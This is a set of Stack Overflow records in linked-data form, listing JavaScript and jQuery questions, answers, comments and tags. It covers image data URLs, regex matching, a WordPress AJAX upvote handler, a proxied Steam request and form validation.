has text: Además estás haciendo varias preguntas en una. Necesitas ayuda con el drag & drop, con la evaluación de las respuestas o con la lógica en general del juego (por ejemplo que el usuario pueda reintentar solo una vez...)
type: Comment

http://stackoverflow.com/q/25690641
has answer: http://stackoverflow.com/a/67180474
has comment: http://stackoverflow.com/comment/40153952
has comment: http://stackoverflow.com/comment/40153723
type: Question
has comment: http://stackoverflow.com/comment/40153505
linked to: http://stackoverflow.com/q/6011378
tagged with: javascript
has title: Img url to dataurl using JavaScript
tagged with: image
has comment: http://stackoverflow.com/comment/40153353
has answer: http://stackoverflow.com/a/25690763
has answer: http://stackoverflow.com/a/25690773
possible better answer: http://stackoverflow.com/a/49093626
has body: Using JavaScript, I want to convert an img tag like this: &lt;img width="11" height="14" src="http://mysite/file.gif" alt="File Icon"&gt; Into one with a dataurl like this: &lt;img width="11" height="14" src="[binary]" alt="File Icon"&gt; Is this possible?
downvote count: 0
linked to: http://stackoverflow.com/q/15685698
has answer: http://stackoverflow.com/a/49093626
favorite count: 0
linked to: http://stackoverflow.com/q/10982712
linked to: http://stackoverflow.com/q/19183180
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25690763
answer count: 4
has comment: http://stackoverflow.com/comment/40153305
score: 25
type: AnsweredQuestion
tagged with: data-uri
upvote count: 25

http://stackoverflow.com/comment/40046242
type: AnswerComment
has text: Here's my fiddle modified to grab the background image of a div element: http://jsfiddle.net/m1erickson/56wqqmqe/ Good luck with your project!
type: Comment
comment on: http://stackoverflow.com/a/25629879
score: 0

dom-events
tags question: http://stackoverflow.com/q/25676859
tags question: http://stackoverflow.com/q/25657548
tags question: http://stackoverflow.com/q/25601463
tags question: http://stackoverflow.com/q/25608884
tags question: http://stackoverflow.com/q/25647205
tags question: http://stackoverflow.com/q/25705600
tags question: http://stackoverflow.com/q/25695250
tags question: http://stackoverflow.com/q/25581374
tags question: http://stackoverflow.com/q/25625596
tags question: http://stackoverflow.com/q/25670672
tags question: http://stackoverflow.com/q/25695913
type: Tag
tags question: http://stackoverflow.com/q/25686064
tags question: http://stackoverflow.com/q/25594700
tags question: http://stackoverflow.com/q/25629296
tags question: http://stackoverflow.com/q/25656556
tags question: http://stackoverflow.com/q/25615465
tags question: http://stackoverflow.com/q/25639797
tag name: dom-events
tags question: http://stackoverflow.com/q/25619984
tags question: http://stackoverflow.com/q/25552804

http://stackoverflow.com/comment/40067381
score: 2
has text: @fminl why have you written `e.which == 13`? For `click` event `e.which` can be 1, 2 or 3 (from [docs](http://api.jquery.com/event.which/)).
comment on: http://stackoverflow.com/q/25642667
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39983370
comment on: http://stackoverflow.com/q/25596623
type: Comment
has text: I would try to decrease the size of the ajax call and the 2000 DOM elements, divide it into more sections and put each one in its own panel. If you cannot do this, you could put that data on their own page, since they are too much to be shown inside a panel. You know better, since you know how your page is and how are these data organized
score: 1
type: QuestionComment

http://stackoverflow.com/comment/39992263
type: AnswerComment
type: Comment
score: 1
has text: This sort of stuff can really drive you crazy.Thanky you :)
comment on: http://stackoverflow.com/a/25601754

http://stackoverflow.com/comment/39959211
score: 0
type: Comment
type: QuestionComment
has text: you have made a silly mistake of string concatenation within variable...
comment on: http://stackoverflow.com/q/25583794

http://stackoverflow.com/a/25609632
answers question: http://stackoverflow.com/q/25609545
type: AcceptedAnswer
has body: Just add another property to your div element: var z = 1, id = 1; $('#button').click(function (e) { /** Make div draggable **/ $('&lt;div /&gt;', { id : "drag" + id++, class: 'draggable ui-widget-content', html: '&lt;span class="close"&gt;[X]&lt;/span&gt;&lt;span class="text"&gt;' + $('textarea').val() + '&lt;/span&gt;', appendTo: '.middle-side', draggable: { containment: 'parent', start: function( event, ui ) { $(this).css('z-index', ++z); } } }).addClass('placement'); I've also updated your fiddle: http://jsfiddle.net/0wbnud4k/48/
score: 1
accepted answer of: http://stackoverflow.com/q/25609545
has comment: http://stackoverflow.com/comment/40009208
has comment: http://stackoverflow.com/comment/40009339
has comment: http://stackoverflow.com/comment/40006520
has comment: http://stackoverflow.com/comment/40009320
type: Answer
upvote count: 1
downvote count: 0

http://stackoverflow.com/q/25631238
possible better answer: http://stackoverflow.com/a/25631360
score: 0
has comment: http://stackoverflow.com/comment/40046333
answer count: 3
has comment: http://stackoverflow.com/comment/40046223
has answer: http://stackoverflow.com/a/25631457
has title: Find (case insensitive) Words on an external Website and count them
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25631360
accepted answer: http://stackoverflow.com/a/25631835
type: Question
has comment: http://stackoverflow.com/comment/40046110
has body: I use this snippet to find and count words on an external Website. How can I search case insensitive? For e.g.: Test, test or TEST - everything counts? I use the current jQuery-Version. Thank you four your tips. function keyWordSearch() { var kWord = jQuery('#keywords').val(); var webSite = jQuery('#urls').val(); var spanSelector = "span:contains(" + kWord + ")"; $.ajax({ url : webSite, success : function(data) { //check in span// spanKeyword = 0; var message = $('&lt;div/&gt;').append(data).find(spanSelector).each(function() { spanKeyword += parseInt($(this).text().split(kWord).length - 1); }); alert('span ' + spanKeyword); } }); };
linked to: http://stackoverflow.com/q/2196641
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25631835

http://stackoverflow.com/comment/40088806
type: Comment
has text: @fees: sorry, I don't know what you mean by that.
comment on: http://stackoverflow.com/a/25654719
type: AnswerComment
score: 0

http://stackoverflow.com/a/25634761
has comment: http://stackoverflow.com/comment/40053158
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25632741
upvote count: 1
has body: sample upvote php for posts add this to your functions file.... add_action('wp_ajax_upvote', 'upvote'); add_action('wp_ajax_nopriv_upvote', 'upvote'); function upvote() { $postid= $_POST['id']; $direction = $_POST['direction']; $votes= get_post_meta($postid, '_votes', true); if($direction='down') { $votes--; } else { $votes++; } update_post_meta($postid, '_votes', $votes); echo $votes; exit(); } The above needs security like any form submit of $_POST variables. Dont leave these out in your code!! jQuery Code jQuery(document).ready(function($){ $('.arrow').click(function(){ //if your upvote has class arrow? //you need someway of passing postid to here! //if you want up / downvote -- logic needed here, if not remove direction from below! $.ajax({ type: "POST", url: "/wp-admin/admin-ajax.php", data: { action: 'upvote', id: id, direction: direction //remove if not needed }, success: function (output) { //do something with returned data console.log(output); jQuery('#postupvote').text(output); //write to correct id - maybe use postid in the id of the vote count on the page e.g. id="vote23" jQuery('#vote'+postid) } }); }); }) google wordpress ajax for more information
has comment: http://stackoverflow.com/comment/40059292
score: 1

http://stackoverflow.com/comment/49785926
type: Comment
comment on: http://stackoverflow.com/a/30665203
has text: I thank you even if the question was asked one year ago ;)
score: 0
type: AnswerComment

http://stackoverflow.com/a/25622495
answers question: http://stackoverflow.com/q/25622463
has comment: http://stackoverflow.com/comment/40029451
has body: This is simpler : this.onload = this.onDataLoaded.bind(this); Another handy solution will come with ES6, arrow functions with their lexical this binding : this.onload = () =&gt; { this.onDataLoaded() } (you can already use them in Firefox)
has comment: http://stackoverflow.com/comment/40029487
upvote count: 4
type: AcceptedAnswer
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/40029423
has comment: http://stackoverflow.com/comment/40029607
accepted answer of: http://stackoverflow.com/q/25622463
has comment: http://stackoverflow.com/comment/40029488
type: Answer

async.js
tags question: http://stackoverflow.com/q/25681136
tag name: async.js
tags question: http://stackoverflow.com/q/25712767
tags question: http://stackoverflow.com/q/25575837
type: Tag

http://stackoverflow.com/comment/41022629
has text: sure, sorry. I forgot about it.
comment on: http://stackoverflow.com/a/25655094
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25628977
has comment: http://stackoverflow.com/comment/40042026
has answer: http://stackoverflow.com/a/25630175
tagged with: regex
type: AnsweredQuestion
upvote count: 2
has comment: http://stackoverflow.com/comment/40042114
score: 1
has answer: http://stackoverflow.com/a/25630118
downvote count: 1
type: Question
has body: Suppose I have a list formed by words including special characters: one &lt;two&gt;&lt;/two&gt; three# $four etc. I want to find all words in the list that contain specific letters, I've tried to use var myList = "&lt;one&gt;&lt;/one&gt; $two three#"; var myRegex = /\bMYWORD[^\b]*?\b/gi; alert(myList.match(myRegex)); But this does not work with special characters.. DEMO Unfortunately I'm new to javascript, and I don't know what is the best way to create the list and to separe the words in the list..
accepted answer: http://stackoverflow.com/a/25630118
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40041930
has comment: http://stackoverflow.com/comment/40043815
answer count: 2
has comment: http://stackoverflow.com/comment/40043415
has comment: http://stackoverflow.com/comment/40043253
has comment: http://stackoverflow.com/comment/40041970
favorite count: 0
has comment: http://stackoverflow.com/comment/40043367
has comment: http://stackoverflow.com/comment/40041899
has title: Find all words containing specific letters and special characters
linked to: http://stackoverflow.com/q/3115150
possible better answer: http://stackoverflow.com/a/25630175

http://stackoverflow.com/comment/39990396
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25591884
has text: Fixed! placed in works perfect! Thanks so much for your help and everyone else that chimed in! Cheers guys.

http://stackoverflow.com/comment/39953247
comment on: http://stackoverflow.com/q/25580473
score: 1
has text: @u_mulder UGHHHHH KILL ME KILL ME NOW
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25596961
tagged with: steam
has answer: http://stackoverflow.com/a/25638978
has body: I'm trying to send a post request like this: xhr.open("POST", "/steamapi/actions/RemoveFriendAjax", false); var params = "sessionID="+session_id+"&amp;steamid="+id; xhr.onreadystatechange = function() {//Call a function when the state changes. if(xhr.readyState == 4 &amp;&amp; xhr.status == 200) { alert(xhr.responseText); } } xhr.send(params); I'm using an Apache Server, and this is my .htaccess file RewriteEngine On RewriteRule ^api/(.*)$ http://api.steampowered.com/$1 [P] RewriteRule ^(.*)$ http://steamcommunity.com/$1 [P] &lt;IfModule mod_headers.c&gt; Header add Access-Control-Allow-Origin "*" Header add Access-Control-Allow-Headers "origin, x-requested-with, content-type" Header add Access-Control-Allow-Methods "PUT, GET, POST, DELETE, OPTIONS" &lt;/IfModule&gt; Whenever I send the request I get this error: Failed to load resource: the server responded with a status of 400 (Bad Request) enter code here Why is this happening? I have used GET requests with Steam and they work fine, put this POST request doesn't seem to be working. EDIT: This is steamcommunity.com's robot.txt file: User-agent: * Disallow: /actions/ Disallow: /linkfilter/ Host: steamcommunity.com It says Disallow: /actions/, so is this the reason why I'm getting a 400 error?
tagged with: post
score: 9
type: Question
upvote count: 9
tagged with: apache
tagged with: javascript
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40133522
tagged with: .htaccess
has title: Steam Post Request - Failed to load resource: the server responded with a status of 400 (Bad Request)
favorite count: 0
has comment: http://stackoverflow.com/comment/40252872
type: UnansweredQuestion

http://stackoverflow.com/comment/40176445
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25678444
has text: i've also added another idea that I was thinking about to the question

http://stackoverflow.com/comment/40111624
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25667581
type: Comment
has text: No, we're looking for elements *inside* the object.

http://stackoverflow.com/comment/40057417
type: QuestionComment
has text: I had given a very simplified example. I am editing the example if u say
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25623392

http://stackoverflow.com/a/25685264
has comment: http://stackoverflow.com/comment/40143862
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/25685218
downvote count: 0
has comment: http://stackoverflow.com/comment/40143593
score: 1
has body: You can use the slideToggle function and the :visible selector to know if the div is open or not: &lt;input type="button" id="B1" onclick="$('#P1').slideToggle();" value="Show" /&gt; After, I let you to write the function ;)

http://stackoverflow.com/comment/40004349
comment on: http://stackoverflow.com/q/25607328
type: Comment
type: QuestionComment
score: 1
has text: I'm confused why `[0-9]*` returns nothing if `[0-9]` returns 5. If it's greedy matching, then this should give you the full string of numbers. What is your javascript code for this?

http://stackoverflow.com/a/25616466
has body: Take things out of the while loop. You only need to set the interval once. Perform your state calculation (which item is selected) within the callback method itself. See below, which I believe is what your looking for. // Global variables to maintain state... I'm sure I'll get some comments about these :p var numpromos = $('.promoteBlock').length; var promonum = 1; $document.ready(function() { setInterval(function() { $('#promoteCont .promoteBlock').fadeOut().removeClass('active'); $('#promoteCont #promo'+promonum).addClass('active'); promonum++; if(promonums &gt; numpromos) promonum = 1; }, 3000); });
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/25616288
upvote count: 1

http://stackoverflow.com/comment/40170620
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25699219
has text: i tried both of your suggestions,but it is not working sadly.Kindly help further to have the date picker in my page.
type: AnswerComment

http://stackoverflow.com/a/25567444
upvote count: 1
score: 1
has body: Most probably since this library is not targetted towards AngularJS, it is not doing $scope.$apply() to trigger digest cycle and hence the html is not getting updated. The fix would be wrap the assingment done in callback with $scope.$apply().The JavaScript fix for this would be $scope.$apply(function() { $scope.lists = data }); Since i have not use this library i may be wrong here with done callback implementation.
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25567113
answers question: http://stackoverflow.com/q/25567113
type: Answer

http://stackoverflow.com/q/25595242
tagged with: javascript
has comment: http://stackoverflow.com/comment/39980190
score: 0
accepted answer: http://stackoverflow.com/a/25595424
answer count: 2
has comment: http://stackoverflow.com/comment/39979933
has body: I have a HTML code like this, Change Color When I write this Jquery code function ChangeColor(element) { $(element).closest(".panel-footer").find(".comments-ch").css("background-color","#CC0000") } Not working for class = comments-ch, But If I write this code like this, function ChangeColor(element) { $(element).closest(".panel-footer").find(".post-activity").css("background-color","#CC0000") } working. Summary, first div under the "panel-footer" is OK, but the second/last div NOT OK. How can i reach the second/last div element? Thanks
has comment: http://stackoverflow.com/comment/39980057
has title: Jquery Html Element Selector
tagged with: jquery
has answer: http://stackoverflow.com/a/25595262
has answer: http://stackoverflow.com/a/25595424
has comment: http://stackoverflow.com/comment/39980031
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39980221
has comment: http://stackoverflow.com/comment/39980067
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25595262
type: Question
has comment: http://stackoverflow.com/comment/39980026

http://stackoverflow.com/q/25661516
has body: I am trying to validate a form with bootstrap validator, but the file validation is not going normal, here is my code: cv: { validators: { file: { extension: 'doc,docx,pdf,zip,rtf', type: 'application/pdf,application/msword,application/rtf,application/zip', maxSize: 5120 * 5120 * 5120 * 5120 * 5120, // 5 MB message: 'The selected file is not valid, it should be (doc,docx,pdf,zip,rtf) and 5 MB at maximum.' }, notEmpty: { message: 'CV is required.' } } }, the required files extensions are doc,docx,pdf,rtf,zip as shown above, but it only accept 3 extensions: doc,rtf,pdf...so where is the error in my code?
type: Question
has answer: http://stackoverflow.com/a/25730397
has answer: http://stackoverflow.com/a/32559696
upvote count: 5
has title: how to validate files by bootstrap validator?
possible better answer: http://stackoverflow.com/a/32559696
answer count: 2
score: 5
tagged with: validation
downvote count: 0
tagged with: javascript
tagged with: jqbootstrapvalidation
favorite count: 0
accepted answer: http://stackoverflow.com/a/25730397
type: AnsweredQuestion

http://stackoverflow.com/a/25631728
answers question: http://stackoverflow.com/q/25631682
has comment: http://stackoverflow.com/comment/40109601
has comment: http://stackoverflow.com/comment/40260443
has comment: http://stackoverflow.com/comment/40108452
upvote count: 5
has body: It is because the week from the 30th december 2013 is considered to be the 1st week of 2014 as you may see on this page epoch converter And according to momentjs documentation: The week with January 1st in it is the first week of the year.
score: 5
accepted answer of: http://stackoverflow.com/q/25631682
has comment: http://stackoverflow.com/comment/40047484
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/40047215

http://stackoverflow.com/q/25582981
has comment: http://stackoverflow.com/comment/39957621
accepted answer: http://stackoverflow.com/a/25583075
tagged with: javascript
has comment: http://stackoverflow.com/comment/39957577
has answer: http://stackoverflow.com/a/25583062
has body: I need to find a way to identify if an item in an array is a noun. I really can't think of any way to do this. The first thing I did was ignore all words with "ly" in the end. But we know many words that aren't nouns doesn't have to have "ly" in the end. Is their a better way to do this? Is their a javascript library that can do this?
upvote count: 2
answer count: 2
has answer: http://stackoverflow.com/a/25583075
downvote count: 0
linked to: http://stackoverflow.com/q/3770028
has comment: http://stackoverflow.com/comment/39957612
favorite count: 0
has comment: http://stackoverflow.com/comment/39957665
has comment: http://stackoverflow.com/comment/39957623
possible better answer: http://stackoverflow.com/a/25583062
score: 2
type: AnsweredQuestion
has title: Identifying nouns in an array of string
has comment: http://stackoverflow.com/comment/39957575
has comment: http://stackoverflow.com/comment/39957602
type: Question

http://stackoverflow.com/comment/39932205
comment on: http://stackoverflow.com/q/25569160
score: 0
type: Comment
type: QuestionComment
has text: In the Controller you will again have to get the values from the array u posted. `$stuName = $this->input->post('student['name']');` then apply the validations over those variables you got.

http://stackoverflow.com/comment/40019088
comment on: http://stackoverflow.com/a/25616577
score: 1
has text: pls upvote this reply, this helped!
type: AnswerComment
type: Comment

typeerror
tags question: http://stackoverflow.com/q/25695452
tag name: typeerror
tags question: http://stackoverflow.com/q/25705600
tags question: http://stackoverflow.com/q/25613886
type: Tag

http://stackoverflow.com/q/25558752
possible better answer: http://stackoverflow.com/a/25600191
has answer: http://stackoverflow.com/a/25600191
type: Question
has answer: http://stackoverflow.com/a/25651828
has comment: http://stackoverflow.com/comment/39935860
has comment: http://stackoverflow.com/comment/39915849
tagged with: javascript
score: 4
answer count: 2
tagged with: api
has body: I'm trying to use Google Calendar API via JavaScript and keep getting the 401 error response while using the following code: $.ajax({ dataType: "json", url: "https://www.googleapis.com/calendar/v3/users/me/calendarList/&lt;calendarID&gt;?key=&lt;my api key&gt;", success: function(result){ $('#result').html(result); } }); Is there something wrong in my usage of the API and how should I use the oAuth? I already have a clientID and secretID from the Google console but don't know how to use those. Thanks.
linked to: http://stackoverflow.com/q/22870082
favorite count: 0
tagged with: google-calendar-api
upvote count: 4
has comment: http://stackoverflow.com/comment/39912458
has title: Using Google Calendar API returns 401 (unauthorized)
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39912346
tagged with: http-status-code-401
accepted answer: http://stackoverflow.com/a/25651828
downvote count: 0
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/40121596
type: Comment
comment on: http://stackoverflow.com/a/25673183
has text: Understood, that was not specified in the original question, but check out option 2
score: 0
type: AnswerComment

marker
tag name: marker
tags question: http://stackoverflow.com/q/25697540
type: Tag

http://stackoverflow.com/comment/40025168
type: Comment
type: QuestionComment
has text: @ILIAS did you include jquery library ?
score: 0
comment on: http://stackoverflow.com/q/25620046

http://stackoverflow.com/comment/39902178
score: 1
has text: *"I have tried using the above code, but this does not yield required results."* Which result do you get?
comment on: http://stackoverflow.com/q/25552843
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25599775
tagged with: python
type: AnsweredQuestion
tagged with: django-templates
tagged with: django
accepted answer: http://stackoverflow.com/a/25599886
type: Question
has title: Uncaught SyntaxError: Unexpected token & while rendering a Django template
tagged with: javascript
has body: I'm trying to draw a line chart using "https://www.google.com/jsapi", and passing data from a Django view; this is my template views.py def show_fb_analytics(request): analytics_data = "Day", "Likes", "Share", "Comments" data = FbAnalytics.objects.all() for item in data: date = item.date likes = item.likes comments = item.comments shares = item.shares lst = [date, likes, comments, shares] analytics_data.append(lst) return render(request, 'fbchart.html', {'analytics_data':analytics_data}) The analytics_data should return data in format [['Day', 'Likes', 'Share', 'Comments'], ['31 Aug', 5, 8, 10 ], ['01 Sep', 10, 5, 13 ]] but during render of the html template it gives data it given format [['Day', 'Likes', 'Share', 'Comments'], [u'01Sep', 2, 2, 2]] means it is adding u'&#39 in every string due to which I'm getting the error "Uncaught Syntax Error: Unexpected token &" and my temlate is not returning the line chart. How I can remove this error?
score: 4
possible better answer: http://stackoverflow.com/a/62795672
upvote count: 4
answer count: 2
has answer: http://stackoverflow.com/a/62795672
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25599886

http://stackoverflow.com/a/25652172
has body: You could use an iterator and test the inner content of each li like so: $('li').each(function(index, elm) { var title = $(this).find('div[class=Title]').html(); if (title == 'Accommodation Type') { $(elm).hide(); } else { $(elm).show(); } });
answers question: http://stackoverflow.com/q/25652065
score: 0
type: Answer

http://stackoverflow.com/a/25641291
has comment: http://stackoverflow.com/comment/40063887
has body: Did you wrapp your jQuery code like: $(document).ready(function () { $('.diff span').remove(); }); this should work. UPDATE: To remove only the first child do: $('.diff span:first-child').remove(); Fiddle
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40063769
answers question: http://stackoverflow.com/q/25641152

http://stackoverflow.com/comment/39918938
comment on: http://stackoverflow.com/a/25562403
type: Comment
has text: @TonyVu Why are you using `:nth-child(3)`?
type: AnswerComment
score: 0

http://stackoverflow.com/q/25552187
tagged with: php
has comment: http://stackoverflow.com/comment/39900137
type: Question
has answer: http://stackoverflow.com/a/26047267
score: 0
tagged with: api
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/39900027
has comment: http://stackoverflow.com/comment/39901621
has title: Refresh webpage after postback was received
has body: I am using an Image processing API. (Blitline) By the nature of it, image processing takes a while to complete. Let's say 3 - 6 seconds. After submitting a job, the API returns immediately the future url of my procesed image, but for 3 - 6 seconds that url will return a 404, since the image has not yet finished proessing. As soon as the job finishes, the Blitline service sends a Postback to a PHP script on my server, telling me it's done. At this point, I want to show the processed image to the user. Is there a technology that will load the image in the user browser at the time the postback comes in? I know it could be done with Javascript polling. E.g. check every 2 seconds if the postback had come in yet. But I wonder if there is a more modern way to do this?
has comment: http://stackoverflow.com/comment/39919204
has comment: http://stackoverflow.com/comment/39899821
tagged with: postback
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39899804

http://stackoverflow.com/comment/40124207
comment on: http://stackoverflow.com/q/25674475
score: 0
type: Comment
has text: Thank you for the link and reference to `angular.forEach`. I now know how to handle this problem in the future :)
type: QuestionComment

http://stackoverflow.com/a/25684936
upvote count: 5
answers question: http://stackoverflow.com/q/25684370
has comment: http://stackoverflow.com/comment/133604516
downvote count: 0
type: Answer
has body: you can use jquery.csvToTable.js to display csv file in html
score: 5

http://stackoverflow.com/q/25582772
downvote count: 0
has answer: http://stackoverflow.com/a/25584425
tagged with: prototypal-inheritance
score: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/39957318
linked to: http://stackoverflow.com/q/16063394
tagged with: javascript
tagged with: inheritance
has answer: http://stackoverflow.com/a/25583155
accepted answer: http://stackoverflow.com/a/25583155
has title: Possible error in MDN explanation of __proto__ property?
answer count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/39958165
has body: So, in working to further solidify my understanding of Object-Oriented JavaScript, I have been voraciously reading, and then testing things that I don't understand. I was reading the Mozilla Developer Network (MDN) article titled "Object.prototype.proto" at: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto and came across the following explanation: For objects created using new fun, where fun is a function defined in a script, this value [__proto__] is the value of fun.prototype at the time new fun is evaluated. (That is, if a new value is assigned to fun.prototype, previously-created fun instances will continue to have the previous value as their Prototype, and subsequent new fun calls will use the newly-assigned value as their Prototype.) Note: MDN is using Prototype to refer to the "internal" Prototype of an object, which is referenced as __proto__ in JavaScript code. So I opened up my Chrome console, and wrote some simple JavaScript as such: function Person(name, age) { this.name = name?name:"Parent Function"; this.age = age?age:"Old as Time"; } var parent = new Person("Ebeneezer", 42); //new Person evaluated before strength is added to Person.prototype var child = new Person("Aluiscious", 12); console.log(child.strength); Person.prototype.strength = "your value here"; console.log(child.strength); var second_child = new Person('Sprout', 5); console.log(second_child.strength); After this, if I type in child.__proto__ and second_child.__proto__ into the console, I get the same value, which is Person {strength: "your value here"} According to MDN, shouldn't child.__proto__ "continue to have the previous value" of Person.prototype as their internal Prototype?
tagged with: proto
possible better answer: http://stackoverflow.com/a/25584425
type: AnsweredQuestion

http://stackoverflow.com/a/25613386
type: Answer
answers question: http://stackoverflow.com/q/25613364
has comment: http://stackoverflow.com/comment/40013021
has body: It sets w to w's current value if w is "truthy", and w to an empty object if w is "falsy." Falsy values include NaN, null, undefined, 0, empty strings, and of course false. Everything else is truthy. Essentially, it makes sure that w is an object if it is not one already.
has comment: http://stackoverflow.com/comment/40012992
score: 2
downvote count: 0
upvote count: 2

http://stackoverflow.com/comment/40025680
comment on: http://stackoverflow.com/q/25620174
has text: What does “altering JS” have to do with server-side data validation? _Every single piece of data_ that your server receives is to be considered potentially malicious/tainted with, no matter what JS does on the client or not. Even the assumption that any JS got executed on the client would be totally wrong already.
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/40134428
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25680355
score: 0
has text: It's totally unclear...

http://stackoverflow.com/q/25693631
score: 0
answer count: 1
tagged with: jquery
has title: How to create 'like' button in while loop so i can change his class name for every loop?
has body: I want to create like buttons in my comment box. Problem is that is in while loop so any button i click will update all buttons , and its because class name of where the output comes is same for all created buttons. while{ some code ... <a > 0 class of span } end of while
tagged with: php
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25693697
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25693697

http://stackoverflow.com/comment/39938339
type: AnswerComment
type: Comment
has text: Do you realize that [\s\S] will match ANY character? Use a dot, if that's what you really mean. Also, why are you needlessly escaping characters that aren't special characters (quotes, commas)?
comment on: http://stackoverflow.com/a/25572336
score: 0

http://stackoverflow.com/q/25635322
tagged with: twitter-bootstrap
answer count: 5
tagged with: css
has comment: http://stackoverflow.com/comment/40053445
has answer: http://stackoverflow.com/a/25635351
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25635350
has comment: http://stackoverflow.com/comment/40053461
has comment: http://stackoverflow.com/comment/40053524
has answer: http://stackoverflow.com/a/25635350
score: 1
upvote count: 1
type: Question
has body: I have this code: &lt;h1 id="logo"&gt; &lt;a class="brand" href="/cgi-bin/koha/opac-main.pl"&gt; CSU Library &lt;/a&gt; &lt;/h1&gt; When my browser width is 701px and above, I don't want this to be seen (edit clarification: the element should be deleted from my html code); otherwise, the tag can be seen normally when my browser width is below 701px. Is there any way I can do that? I don't know where to go from this code. @media only screen and (min-width: 701px){ ....?? }
has answer: http://stackoverflow.com/a/25635352
downvote count: 0
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25635351
has answer: http://stackoverflow.com/a/25635369
has comment: http://stackoverflow.com/comment/40053471
tagged with: http://stackoverflow.com/tag/html
has title: Remove a tag in Runtime
favorite count: 0
has answer: http://stackoverflow.com/a/25635427

http://stackoverflow.com/comment/83309955
type: Comment
comment on: http://stackoverflow.com/a/47838551
type: AnswerComment
has text: how to use this? Can you provide an example?
score: 0

http://stackoverflow.com/comment/40068307
comment on: http://stackoverflow.com/q/25612131
type: QuestionComment
has text: I think you may need to post up a concise jsfiddle example or something.
type: Comment
score: 0

http://stackoverflow.com/a/26076269
type: Answer
accepted answer of: http://stackoverflow.com/q/25624423
has body: Finally, I got the solution of my question. I referred to this answer which helped me to solve my query. Here goes the code: function DOMwalker(obj){ if(obj.hasChildNodes()){ var child = obj.firstChild; var children = obj.childNodes; var length = children.length; for(var i = 0;i&lt;length;i++){ var nodes = children[i]; if(nodes.nodeType !==3){ DOMwalker(nodes); } if(nodes.nodeType===3){ //Pass the parameters nodes:current node being traversed;obj:selector being passed as parameter for DOMwalker function highlight(nodes,obj); } } child = child.nextSibling; } } function highlight(node,parent){ var regex =/(\d{1}-\d{1,4}-\d{1,5})|(\+\d{1,4}?[-.\s]?\(?\d{1,3}?\)?[-.\s]?\d{1,4}[-.\s]?\d{1,4}[-.\s]?\d{1,9})/g; //Stores the value of current node which is passed through the if loop var matchs = node.data.match(regex); if matchs is true,add it to DOM if(matchs){ var anchor = document.createElement("a"); var y = /[(]\d[)]|[.-\s]/g;//removes spaces periods or dash,also number within brackets var remove = number.replace(y,''); //tel uri,if you have an app like skype for click-to dial anchor.setAttribute("href","tel:"+remove); //the anchor tag should be inserted before in the current node in the DOM parent.insertBefore(anchor,node); //append it toh the DOM to be displaye don the web page anchor.appendChild(node); } else { return false; } } I hope this code helps others.
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25624423

http://stackoverflow.com/q/25634640
has answer: http://stackoverflow.com/a/25821760
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25634753
linked to: http://stackoverflow.com/q/15738259
score: 1
has comment: http://stackoverflow.com/comment/40053164
upvote count: 1
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/48277409
type: Question
tagged with: autocomplete
has body: I've always searching how to disable autocomplete but I haven't found exact answers. It is usually a problem of chrome browsers that setting autocomplete="off" into the html isn't working. How do I disable autocomplete using javascript or JQuery?
answer count: 2
downvote count: 0
has title: How do I disable autocomplete using javascript or JQuery?
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40052669

http://stackoverflow.com/comment/40135949
score: 0
has text: by caching are you trying to keep it in memory [to save a future network call for example] or do you mean to provide offline support?
type: QuestionComment
comment on: http://stackoverflow.com/q/25680940
type: Comment

http://stackoverflow.com/q/25585353
accepted answer: http://stackoverflow.com/a/25585482
favorite count: 0
possible better answer: http://stackoverflow.com/a/25585454
has answer: http://stackoverflow.com/a/47799014
has answer: http://stackoverflow.com/a/25585454
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/61315365
has answer: http://stackoverflow.com/a/53296646
